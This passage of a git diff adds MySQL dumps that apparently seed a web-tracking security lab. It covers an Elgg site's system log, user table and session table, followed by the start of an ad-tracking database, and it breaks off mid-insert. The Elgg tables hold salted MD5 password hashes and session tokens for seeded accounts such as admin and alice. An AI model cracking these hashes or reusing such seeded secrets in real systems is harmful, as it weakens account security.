),(47,24,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272666,'172.25.0.3'),(48,39,'ElggUser','user','','create',33,0,2,'yes',1510272666,'172.25.0.3'),(49,5,'ElggMetadata','metadata','notification:method:email','create',33,39,2,'yes',1510272666,'172.25.0.3'),(50,39,'ElggUser','user','','update',33,0,2,'yes',1510272666,'172.25.0.3'),(51,6,'ElggMetadata','metadata','admin_created','create',33,39,2,'yes',1510272666,'172.25.0.3'),(52,7,'ElggMetadata','metadata','created_by_guid','create',33,39,2,'yes',1510272666,'172.25.0.3'),(53,25,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272705,'172.25.0.3'),(54,40,'ElggUser','user','','create',33,0,2,'yes',1510272705,'172.25.0.3'),(55,8,'ElggMetadata','metadata','notification:method:email','create',33,40,2,'yes',1510272705,'172.25.0.3'),(56,40,'ElggUser','user','','update',33,0,2,'yes',1510272705,'172.25.0.3'),(57,9,'ElggMetadata','metadata','admin_created','create',33,40,2,'yes',1510272705,'172.25.0.3'),(58,10,'ElggMetadata','metadata','created_by_guid','create',33,40,2,'yes',1510272705,'172.25.0.3'),(59,26,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272744,'172.25.0.3'),(60,41,'ElggUser','user','','create',33,0,2,'yes',1510272744,'172.25.0.3'),(61,11,'ElggMetadata','metadata','notification:method:email','create',33,41,2,'yes',1510272744,'172.25.0.3'),(62,41,'ElggUser','user','','update',33,0,2,'yes',1510272744,'172.25.0.3'),(63,12,'ElggMetadata','metadata','admin_created','create',33,41,2,'yes',1510272744,'172.25.0.3'),(64,13,'ElggMetadata','metadata','created_by_guid','create',33,41,2,'yes',1510272744,'172.25.0.3'),(65,27,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272762,'172.25.0.3'),(66,42,'ElggUser','user','','create',33,0,2,'yes',1510272762,'172.25.0.3'),(67,14,'ElggMetadata','metadata','notification:method:email','create',33,42,2,'yes',1510272762,'172.25.0.3'),(68,42,'ElggUser','user','','update',33,0,2,'yes',1510272762,'172.25.0.3'),(69,15,'ElggMetadata','metadata','admin_created','create',33,42,2,'yes',1510272762,'172.25.0.3'),(70,16,'ElggMetadata','metadata','created_by_guid','create',33,42,2,'yes',1510272762,'172.25.0.3'),(71,6,'ElggRelationship','relationship','active_plugin','delete',33,0,2,'yes',1510272992,'172.25.0.3'),(72,33,'ElggUser','user','','update',33,0,2,'yes',1511313752,'172.25.0.3'),(73,33,'ElggUser','user','','login',33,0,2,'yes',1511313752,'172.25.0.3'),(74,43,'ElggPlugin','object','plugin','create',33,1,2,'yes',1511313760,'172.25.0.3'),(75,44,'ElggPlugin','object','plugin','create',33,1,2,'yes',1511313868,'172.25.0.3'),(76,43,'ElggPlugin','object','plugin','disable',33,1,2,'yes',1511313868,'172.25.0.3'),(77,43,'ElggPlugin','object','plugin','disable',33,1,2,'no',1511313884,'172.25.0.3'),(78,43,'ElggPlugin','object','plugin','disable',33,1,2,'no',1511313918,'172.25.0.3'),(79,33,'ElggUser','user','','update',33,0,2,'yes',1511313992,'172.25.0.3'),(80,33,'ElggUser','user','','login',33,0,2,'yes',1511313992,'172.25.0.3'),(81,43,'ElggPlugin','object','plugin','disable',33,1,2,'no',1511313996,'172.25.0.3'),(82,43,'ElggPlugin','object','plugin','disable',33,1,2,'no',1511314034,'172.25.0.3'),(83,28,'ElggRelationship','relationship','active_plugin','create',33,0,2,'yes',1511314039,'172.25.0.3'),(84,43,'ElggPlugin','object','plugin','disable',33,1,2,'no',1511314039,'172.25.0.3'),(85,33,'ElggUser','user','','logout',33,0,2,'yes',1511314066,'172.25.0.3'),(86,33,'ElggUser','user','','update',33,0,2,'yes',1511314066,'172.25.0.3'),(87,33,'ElggUser','user','','update',33,0,2,'yes',1511314477,'172.25.0.3'),(88,33,'ElggUser','user','','login',33,0,2,'yes',1511314477,'172.25.0.3'),(89,43,'ElggPlugin','object','plugin','disable',33,1,2,'no',1511314494,'172.25.0.3'); +/*!40000 ALTER TABLE `elgg_system_log` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_users_apisessions` +-- + +DROP TABLE IF EXISTS `elgg_users_apisessions`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_users_apisessions` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `user_guid` bigint(20) unsigned NOT NULL, + `site_guid` bigint(20) unsigned NOT NULL, + `token` varchar(40) DEFAULT NULL, + `expires` int(11) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `user_guid` (`user_guid`,`site_guid`), + KEY `token` (`token`) +) ENGINE=MEMORY DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_users_apisessions` +-- + +LOCK TABLES `elgg_users_apisessions` WRITE; +/*!40000 ALTER TABLE `elgg_users_apisessions` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_users_apisessions` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_users_entity` +-- + +DROP TABLE IF EXISTS `elgg_users_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_users_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `name` text NOT NULL, + `username` varchar(128) NOT NULL DEFAULT '', + `password` varchar(32) NOT NULL DEFAULT '', + `salt` varchar(8) NOT NULL DEFAULT '', + `email` text NOT NULL, + `language` varchar(6) NOT NULL DEFAULT '', + `code` varchar(32) NOT NULL DEFAULT '', + `banned` enum('yes','no') NOT NULL DEFAULT 'no', + `admin` enum('yes','no') NOT NULL DEFAULT 'no', + `last_action` int(11) NOT NULL DEFAULT '0', + `prev_last_action` int(11) NOT NULL DEFAULT '0', + `last_login` int(11) NOT NULL DEFAULT '0', + `prev_last_login` int(11) NOT NULL DEFAULT '0', + PRIMARY KEY (`guid`), + UNIQUE KEY `username` (`username`), + KEY `password` (`password`), + KEY `email` (`email`(50)), + KEY `code` (`code`), + KEY `last_action` (`last_action`), + KEY `last_login` (`last_login`), + KEY `admin` (`admin`), + FULLTEXT KEY `name` (`name`), + FULLTEXT KEY `name_2` (`name`,`username`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_users_entity` +-- + +LOCK TABLES `elgg_users_entity` WRITE; +/*!40000 ALTER TABLE `elgg_users_entity` DISABLE KEYS */; +INSERT INTO `elgg_users_entity` VALUES (33,'admin','admin','db4c8540eccd3f55fe0bf4dad0233052','syg7q84p','admin@here.com','en','','no','yes',1511314554,1511314554,1511314477,1511313992),(39,'Alice','alice','028570fdf46d1e003090bdaa992b427c','Iedyj_S4','here@there.com','en','','no','no',0,0,0,0),(40,'Boby','boby','072e47d0d896eca1a6d23bbf41c80f93','jbHSKzlH','boby@seed.here','en','','no','no',0,0,0,0),(41,'Charlie','charlie','fd63939acf7b768044f1b4cb2bffab0e','I7SUvzWB','here@there.com','en','','no','no',0,0,0,0),(42,'Samy','samy','04500a568d3009d15aae00debb337efd','swwfxCpQ','sam@sam.com','en','','no','no',0,0,0,0); +/*!40000 ALTER TABLE `elgg_users_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_users_sessions` +-- + +DROP TABLE IF EXISTS `elgg_users_sessions`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_users_sessions` ( + `session` varchar(255) NOT NULL, + `ts` int(11) unsigned NOT NULL DEFAULT '0', + `data` mediumblob, + PRIMARY KEY (`session`), + KEY `ts` (`ts`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_users_sessions` +-- + +LOCK TABLES `elgg_users_sessions` WRITE; +/*!40000 ALTER TABLE `elgg_users_sessions` DISABLE KEYS */; +INSERT INTO `elgg_users_sessions` VALUES ('voc1glcpnncnofpfkidn494oq4',1510273098,'__elgg_session|s:32:\"e339c72c0c1e16779f5f57a909be83de\";user|O:8:\"ElggUser\":8:{s:15:\"\0*\0url_override\";N;s:16:\"\0*\0icon_override\";N;s:16:\"\0*\0temp_metadata\";a:0:{}s:19:\"\0*\0temp_annotations\";a:0:{}s:24:\"\0*\0temp_private_settings\";a:0:{}s:11:\"\0*\0volatile\";a:0:{}s:13:\"\0*\0attributes\";a:25:{s:4:\"guid\";i:33;s:4:\"type\";s:4:\"user\";s:7:\"subtype\";s:1:\"0\";s:10:\"owner_guid\";s:1:\"0\";s:9:\"site_guid\";s:1:\"1\";s:14:\"container_guid\";s:1:\"0\";s:9:\"access_id\";s:1:\"2\";s:12:\"time_created\";s:10:\"1510271931\";s:12:\"time_updated\";s:10:\"1510272591\";s:11:\"last_action\";s:10:\"1510272993\";s:7:\"enabled\";s:3:\"yes\";s:12:\"tables_split\";i:2;s:13:\"tables_loaded\";i:2;s:4:\"name\";s:5:\"admin\";s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:32:\"db4c8540eccd3f55fe0bf4dad0233052\";s:4:\"salt\";s:8:\"syg7q84p\";s:5:\"email\";s:14:\"admin@here.com\";s:8:\"language\";s:2:\"en\";s:4:\"code\";s:0:\"\";s:6:\"banned\";s:2:\"no\";s:5:\"admin\";s:3:\"yes\";s:16:\"prev_last_action\";s:10:\"1510272992\";s:10:\"last_login\";s:10:\"1510271931\";s:15:\"prev_last_login\";s:1:\"0\";}s:8:\"\0*\0valid\";b:0;}guid|i:33;id|i:33;username|s:5:\"admin\";name|s:5:\"admin\";msg|a:0:{}sticky_forms|a:0:{}'),('e4n7m13j1q3c0mkl89t2of77m0',1511313731,'__elgg_session|s:32:\"a0cb26ab5bde7f610bd259f4a799bcb0\";msg|a:0:{}'),('fojaltdrcohpfl6lsi5ihafqc6',1511313922,'__elgg_session|s:32:\"a0cb26ab5bde7f610bd259f4a799bcb0\";msg|a:0:{}user|O:8:\"ElggUser\":8:{s:15:\"\0*\0url_override\";N;s:16:\"\0*\0icon_override\";N;s:16:\"\0*\0temp_metadata\";a:0:{}s:19:\"\0*\0temp_annotations\";a:0:{}s:24:\"\0*\0temp_private_settings\";a:0:{}s:11:\"\0*\0volatile\";a:0:{}s:13:\"\0*\0attributes\";a:25:{s:4:\"guid\";i:33;s:4:\"type\";s:4:\"user\";s:7:\"subtype\";s:1:\"0\";s:10:\"owner_guid\";s:1:\"0\";s:9:\"site_guid\";s:1:\"1\";s:14:\"container_guid\";s:1:\"0\";s:9:\"access_id\";s:1:\"2\";s:12:\"time_created\";s:10:\"1510271931\";s:12:\"time_updated\";s:10:\"1511313752\";s:11:\"last_action\";s:10:\"1511313921\";s:7:\"enabled\";s:3:\"yes\";s:12:\"tables_split\";i:2;s:13:\"tables_loaded\";i:2;s:4:\"name\";s:5:\"admin\";s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:32:\"db4c8540eccd3f55fe0bf4dad0233052\";s:4:\"salt\";s:8:\"syg7q84p\";s:5:\"email\";s:14:\"admin@here.com\";s:8:\"language\";s:2:\"en\";s:4:\"code\";s:0:\"\";s:6:\"banned\";s:2:\"no\";s:5:\"admin\";s:3:\"yes\";s:16:\"prev_last_action\";s:10:\"1511313921\";s:10:\"last_login\";s:10:\"1511313752\";s:15:\"prev_last_login\";s:10:\"1510271931\";}s:8:\"\0*\0valid\";b:0;}guid|i:33;id|i:33;username|s:5:\"admin\";name|s:5:\"admin\";'),('qjr6jjm3e2b4bufvp7v050mg30',1511313983,'__elgg_session|s:32:\"bd8587e116f06b8f46236bb95d746ad9\";last_forward_from|s:36:\"http://wtlabelgg.com/admin/dashboard\";msg|a:0:{}'),('lduev1rni08gs61a76ik0p3ha1',1511314472,'__elgg_session|s:32:\"2e40dbc0d62d344f157fb0b657cfcdb9\";msg|a:0:{}last_forward_from|s:36:\"http://wtlabelgg.com/admin/dashboard\";'),('f2sj9uvvr112l5h7j0n27g21i5',1511314555,'__elgg_session|s:32:\"2e40dbc0d62d344f157fb0b657cfcdb9\";msg|a:0:{}user|O:8:\"ElggUser\":8:{s:15:\"\0*\0url_override\";N;s:16:\"\0*\0icon_override\";N;s:16:\"\0*\0temp_metadata\";a:0:{}s:19:\"\0*\0temp_annotations\";a:0:{}s:24:\"\0*\0temp_private_settings\";a:0:{}s:11:\"\0*\0volatile\";a:0:{}s:13:\"\0*\0attributes\";a:25:{s:4:\"guid\";i:33;s:4:\"type\";s:4:\"user\";s:7:\"subtype\";s:1:\"0\";s:10:\"owner_guid\";s:1:\"0\";s:9:\"site_guid\";s:1:\"1\";s:14:\"container_guid\";s:1:\"0\";s:9:\"access_id\";s:1:\"2\";s:12:\"time_created\";s:10:\"1510271931\";s:12:\"time_updated\";s:10:\"1511314477\";s:11:\"last_action\";s:10:\"1511314554\";s:7:\"enabled\";s:3:\"yes\";s:12:\"tables_split\";i:2;s:13:\"tables_loaded\";i:2;s:4:\"name\";s:5:\"admin\";s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:32:\"db4c8540eccd3f55fe0bf4dad0233052\";s:4:\"salt\";s:8:\"syg7q84p\";s:5:\"email\";s:14:\"admin@here.com\";s:8:\"language\";s:2:\"en\";s:4:\"code\";s:0:\"\";s:6:\"banned\";s:2:\"no\";s:5:\"admin\";s:3:\"yes\";s:16:\"prev_last_action\";s:10:\"1511314554\";s:10:\"last_login\";s:10:\"1511314477\";s:15:\"prev_last_login\";s:10:\"1511313992\";}s:8:\"\0*\0valid\";b:0;}guid|i:33;id|i:33;username|s:5:\"admin\";name|s:5:\"admin\";'),('kjhqtmhgr790b50q2uvcslc2o4',1511314057,'__elgg_session|s:32:\"45c9c6152f37fdc006b9d7b15f77395a\";last_forward_from|s:36:\"http://wtlabelgg.com/admin/dashboard\";msg|a:1:{s:5:\"error\";a:1:{i:0;s:40:\"You must be logged in to view that page.\";}}'),('uibvs8b9pn90f9o808rt8a7js5',1511314057,'__elgg_session|s:32:\"f59737fce293a782797e4e8d9ffdba95\";msg|a:0:{}'),('hd9csaibnpjp81uajoh1lasu45',1511314058,'__elgg_session|s:32:\"cbc1bd7c7ebcd9499883265e9c6261dd\";'),('ifsl8oia2hf2n7damr9n27rfn7',1511314058,'__elgg_session|s:32:\"b2f524eb74f813a546d823a7f8a6110b\";'),('p95mfvomb4c8e7n7ib5frjqkm4',1511314058,'__elgg_session|s:32:\"783ae4822bf253619a1ec94e162caaa8\";'); +/*!40000 ALTER TABLE `elgg_users_sessions` ENABLE KEYS */; +UNLOCK TABLES; +/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; + +/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; +/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; +/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; +/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; +/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; +/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; + +-- Dump completed on 2017-11-22 16:11:17 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/revive.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/revive.sql new file mode 100755 index 000000000..3ae67950f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/revive.sql @@ -0,0 +1,2135 @@ +-- MySQL dump 10.13 Distrib 5.5.32, for debian-linux-gnu (i686) +-- +-- Host: localhost Database: revive_adserver +-- ------------------------------------------------------ +-- Server version 5.5.32-0ubuntu0.12.04.1 + +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; +/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; +/*!40101 SET NAMES utf8 */; +/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; +/*!40103 SET TIME_ZONE='+00:00' */; +/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; +/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; +/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; +/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; + +-- +-- Current Database: `revive_adserver` +-- + +CREATE DATABASE /*!32312 IF NOT EXISTS*/ `revive_adserver` /*!40100 DEFAULT CHARACTER SET latin1 */; + +USE `revive_adserver`; + +-- +-- Table structure for table `bt_Category` +-- + +DROP TABLE IF EXISTS `bt_Category`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `bt_Category` ( + `CategoryID` int(11) NOT NULL AUTO_INCREMENT, + `CategoryName` varchar(200) NOT NULL, + `CategoryDescription` varchar(200) NOT NULL, + PRIMARY KEY (`CategoryID`) +) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `bt_Category` +-- + +LOCK TABLES `bt_Category` WRITE; +/*!40000 ALTER TABLE `bt_Category` DISABLE KEYS */; +INSERT INTO `bt_Category` VALUES (1,'Camera','Clicks for sharp pictures'),(2,'Shoes','Sports foot wear for you'),(3,'Electronic LCD','View your world in HD'),(4,'Mobiles','World is in your pocket..!!'); +/*!40000 ALTER TABLE `bt_Category` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `bt_ImpressionLog` +-- + +DROP TABLE IF EXISTS `bt_ImpressionLog`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `bt_ImpressionLog` ( + `ImpressionID` int(11) NOT NULL AUTO_INCREMENT, + `SessionID` varchar(16) NOT NULL, + `TrackGUID` varchar(16) DEFAULT NULL, + `TrackingID` int(11) DEFAULT NULL, + PRIMARY KEY (`ImpressionID`) +) ENGINE=InnoDB AUTO_INCREMENT=323 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `bt_ImpressionLog` +-- + +LOCK TABLES `bt_ImpressionLog` WRITE; +/*!40000 ALTER TABLE `bt_ImpressionLog` DISABLE KEYS */; +INSERT INTO `bt_ImpressionLog` VALUES (150,'1580765081493909','8089326451339674',0),(151,'1580765081493909','8089326451339674',0),(152,'1580765081493909','7644794244489658',0),(153,'1580765081493909','7644794244489658',0),(154,'1580765081493909','4293327407220900',0),(155,'1580765081493909','4293327407220900',0),(156,'1580765081493909','4293327407220900',0),(157,'1580765081493909','4293327407220900',0),(158,'1580765081493909','9178334178556573',0),(159,'1580765081493909','9178334178556573',0),(160,'1580765081493909','5890502497057826',0),(161,'1580765081493909','5890502497057826',0),(162,'1580765081493909','5890502497057826',0),(163,'1580765081493909','5890502497057826',0),(164,'6726939354926091','5890502497057826',0),(165,'6726939354926091','6449377887088520',0),(166,'6726939354926091','6449377887088520',0),(167,'6726939354926091','8089326451339674',0),(168,'6726939354926091','8089326451339674',0),(169,'6726939354926091','7644794244489658',0),(170,'6726939354926091','7644794244489658',0),(171,'6726939354926091','6594500331683041',0),(172,'6726939354926091','6594500331683041',0),(173,'6726939354926091','4293327407220900',0),(174,'6726939354926091','4293327407220900',0),(175,'6726939354926091','3957353166949466',0),(176,'6726939354926091','3957353166949466',0),(177,'6726939354926091','8678892570671441',0),(178,'6726939354926091','8678892570671441',0),(179,'6726939354926091','768872100307923',0),(180,'6726939354926091','768872100307923',0),(181,'6726939354926091','768872100307923',0),(182,'6726939354926091','768872100307923',0),(183,'6726939354926091','1264893761278606',0),(184,'6726939354926091','1264893761278606',0),(185,'6726939354926091','7202414934944842',0),(186,'6726939354926091','7202414934944842',0),(187,'6726939354926091','9178334178556573',0),(188,'6726939354926091','9178334178556573',0),(189,'6726939354926091','768872100307923',0),(190,'6726939354926091','768872100307923',0),(191,'6726939354926091','5173435362122807',0),(192,'6726939354926091','5173435362122807',0),(193,'6726939354926091','1141069340355684',0),(194,'6726939354926091','1141069340355684',0),(195,'6726939354926091','9836573923177230',0),(196,'6726939354926091','9836573923177230',0),(197,'6726939354926091','3292700527298696',0),(198,'6726939354926091','3292700527298696',0),(199,'6726939354926091','683077966133852',0),(200,'6726939354926091','683077966133852',0),(201,'6726939354926091','1455042828759668',0),(202,'6726939354926091','1455042828759668',0),(203,'6726939354926091','8326918373014243',0),(204,'6726939354926091','8326918373014243',0),(205,'6726939354926091','1500189875939495',0),(206,'6726939354926091','1500189875939495',0),(207,'6726939354926091','9239631984143199',0),(208,'6726939354926091','9239631984143199',0),(209,'6726939354926091','9153523920322832',0),(210,'6726939354926091','9153523920322832',0),(211,'6726939354926091','3610642005167885',0),(212,'6726939354926091','3610642005167885',0),(213,'6726939354926091','6965888389535971',0),(214,'6726939354926091','6965888389535971',0),(215,'6726939354926091','6965888389535971',0),(216,'6726939354926091','6965888389535971',0),(217,'9362600576051896','683077966133852',0),(218,'9362600576051896','683077966133852',0),(219,'9362600576051896','9153523920322832',0),(220,'9362600576051896','9153523920322832',0),(221,'9362600576051896','5890502497057826',0),(222,'9362600576051896','5890502497057826',0),(223,'5643382500213801','7644794244489658',0),(224,'5643382500213801','7644794244489658',0),(225,'5643382500213801','768872100307923',0),(226,'5643382500213801','768872100307923',0),(227,'5643382500213801','6594500331683041',0),(228,'5643382500213801','6594500331683041',0),(229,'2780610135111141','5173435362122807',0),(230,'2780610135111141','5173435362122807',0),(231,'2780610135111141','1141069340355684',0),(232,'2780610135111141','1141069340355684',0),(233,'2780610135111141','1141069340355684',0),(234,'2780610135111141','1141069340355684',0),(235,'9365566008733344','8326918373014243',0),(236,'9365566008733344','8326918373014243',0),(237,'9365566008733344','1500189875939495',0),(238,'9365566008733344','1500189875939495',0),(239,'9365566008733344','1500189875939495',0),(240,'9365566008733344','1500189875939495',0),(241,'3275262877305618','3957353166949466',0),(242,'3275262877305618','3957353166949466',0),(243,'3275262877305618','768872100307923',0),(244,'3275262877305618','768872100307923',0),(245,'8983982205249497','6449377887088520',0),(246,'8983982205249497','6449377887088520',0),(247,'3646988951425898','3957353166949466',0),(248,'3646988951425898','3957353166949466',0),(249,'7969184220028918','5173435362122807',0),(250,'7969184220028918','5173435362122807',0),(251,'7969184220028918','8326918373014243',0),(252,'7969184220028918','8326918373014243',0),(253,'6746756593578503','8326918373014243',0),(254,'6746756593578503','8326918373014243',0),(255,'6746756593578503','768872100307923',0),(256,'6746756593578503','768872100307923',0),(257,'7443004588830227','5890502497057826',0),(258,'7443004588830227','5890502497057826',0),(259,'9495927822252879','3957353166949466',0),(260,'9495927822252879','3957353166949466',0),(261,'3542059853519776','5173435362122807',0),(262,'3542059853519776','5173435362122807',0),(263,'5708297063930725','8326918373014243',0),(264,'5708297063930725','8326918373014243',0),(265,'5708297063930725','768872100307923',0),(266,'5708297063930725','768872100307923',0),(267,'6540983821689410','768872100307923',0),(268,'6540983821689410','768872100307923',0),(269,'6540983821689410','683077966133852',0),(270,'6540983821689410','683077966133852',0),(271,'6540983821689410','683077966133852',0),(272,'6540983821689410','683077966133852',0),(273,'6540983821689410','1683077966133852',0),(274,'6540983821689410','1683077966133852',0),(275,'6540983821689410','1768872100307923',0),(276,'6540983821689410','1768872100307923',0),(277,'3631036796213871','5890502497057826',0),(278,'3631036796213871','5890502497057826',0),(279,'2047266154841331','1768872100307923',0),(280,'2047266154841331','1768872100307923',0),(281,'2807513249799816','6449377887088520',0),(282,'2807513249799816','6449377887088520',0),(283,'2807513249799816','6449377887088520',0),(284,'534193087783351','8089326451339674',0),(285,'534193087783351','8089326451339674',0),(286,'534193087783351','4293327407220900',0),(287,'534193087783351','4293327407220900',0),(288,'534193087783351','4293327407220900',0),(289,'534193087783351','4293327407220900',0),(290,'534193087783351','6594500331683041',0),(291,'534193087783351','6594500331683041',0),(292,'534193087783351','9836573923177230',0),(293,'534193087783351','9836573923177230',0),(294,'534193087783351','9836573923177230',0),(295,'534193087783351','9836573923177230',0),(296,'534193087783351','9836573923177230',0),(297,'534193087783351','9836573923177230',0),(298,'534193087783351','9239631984143199',0),(299,'534193087783351','9239631984143199',0),(300,'534193087783351','1768872100307923',0),(301,'534193087783351','1768872100307923',0),(302,'534193087783351','9836573923177230',0),(303,'534193087783351','9836573923177230',0),(304,'319539109061648','8089326451339674',0),(305,'319539109061648','8089326451339674',0),(306,'319539109061648','8089326451339674',0),(307,'319539109061648','8089326451339674',0),(308,'319539109061648','1768872100307923',0),(309,'319539109061648','1768872100307923',0),(310,'917836436675030','6449377887088520',0),(311,'917836436675030','5890502497057826',0),(312,'917836436675030','5890502497057826',0),(313,'2060694329788864','6449377887088520',0),(314,'2060694329788864','6449377887088520',0),(315,'2060694329788864','1500189875939495',0),(316,'2060694329788864','1500189875939495',0),(317,'2060694329788864','9239631984143199',0),(318,'2060694329788864','9239631984143199',0),(319,'2060694329788864','9239631984143199',0),(320,'2060694329788864','9239631984143199',0),(321,'2060694329788864','6449377887088520',0),(322,'2060694329788864','6449377887088520',0); +/*!40000 ALTER TABLE `bt_ImpressionLog` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `bt_Products` +-- + +DROP TABLE IF EXISTS `bt_Products`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `bt_Products` ( + `ProductID` int(11) NOT NULL AUTO_INCREMENT, + `ProductName` varchar(200) NOT NULL, + `ProductDescription` varchar(200) NOT NULL, + `CategoryID` int(11) NOT NULL, + `BannerID` int(11) DEFAULT NULL, + PRIMARY KEY (`ProductID`), + KEY `CategoryID` (`CategoryID`), + CONSTRAINT `bt_Products_ibfk_1` FOREIGN KEY (`CategoryID`) REFERENCES `bt_Category` (`CategoryID`) +) ENGINE=InnoDB AUTO_INCREMENT=33 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `bt_Products` +-- + +LOCK TABLES `bt_Products` WRITE; +/*!40000 ALTER TABLE `bt_Products` DISABLE KEYS */; +INSERT INTO `bt_Products` VALUES (1,'Nikon 1011','Pictures for your life',1,4),(2,'Canon','Click HD pics',1,5),(3,'Lumix','Pictures in HD',1,6),(4,'Nikon 2100','photographers choice',1,7),(9,'Samsung','Everyones click',1,8),(10,'Sony','unbelivable clicks',1,9),(13,'Adidas','Impossible is Nothing',2,22),(14,' Puma','Pumas chase everything',2,23),(15,'Nike','Just do it',2,24),(16,'Woodland','hoes for the true adventurer',2,25),(17,'Reebok','Go for it',2,26),(18,'Bata','Best in all time',2,27),(19,'LG','Lifes good',3,10),(20,'Samsung LCD','Everyones invited',3,11),(21,'Videocon','Videos for life',3,12),(22,'Phillips','View world in HD',3,13),(23,'Toshiba','Best in HD tv',3,14),(24,'Sony','live in HD',3,15),(25,'HUAWEI','China Phone',4,16),(26,'IPhone 5s','best smart phone',4,17),(29,'Blackberry','Secure smart phone',4,18),(30,'Samsung','common man phone',4,19),(31,'HTC','feell the touch',4,20),(32,'HTC Wildfire','wild fire for your life',4,21); +/*!40000 ALTER TABLE `bt_Products` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `bt_TrackInventory` +-- + +DROP TABLE IF EXISTS `bt_TrackInventory`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `bt_TrackInventory` ( + `TrackingID` int(11) NOT NULL AUTO_INCREMENT, + `ProductID` int(11) NOT NULL, + `WebsiteID` int(11) NOT NULL, + `TrackGUID` varchar(16) NOT NULL, + PRIMARY KEY (`TrackingID`), + KEY `ProductID` (`ProductID`,`WebsiteID`), + KEY `WebsiteID` (`WebsiteID`), + CONSTRAINT `bt_TrackInventory_ibfk_1` FOREIGN KEY (`ProductID`) REFERENCES `bt_Products` (`ProductID`), + CONSTRAINT `bt_TrackInventory_ibfk_2` FOREIGN KEY (`WebsiteID`) REFERENCES `bt_WebSite` (`SiteID`) +) ENGINE=InnoDB AUTO_INCREMENT=26 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `bt_TrackInventory` +-- + +LOCK TABLES `bt_TrackInventory` WRITE; +/*!40000 ALTER TABLE `bt_TrackInventory` DISABLE KEYS */; +INSERT INTO `bt_TrackInventory` VALUES 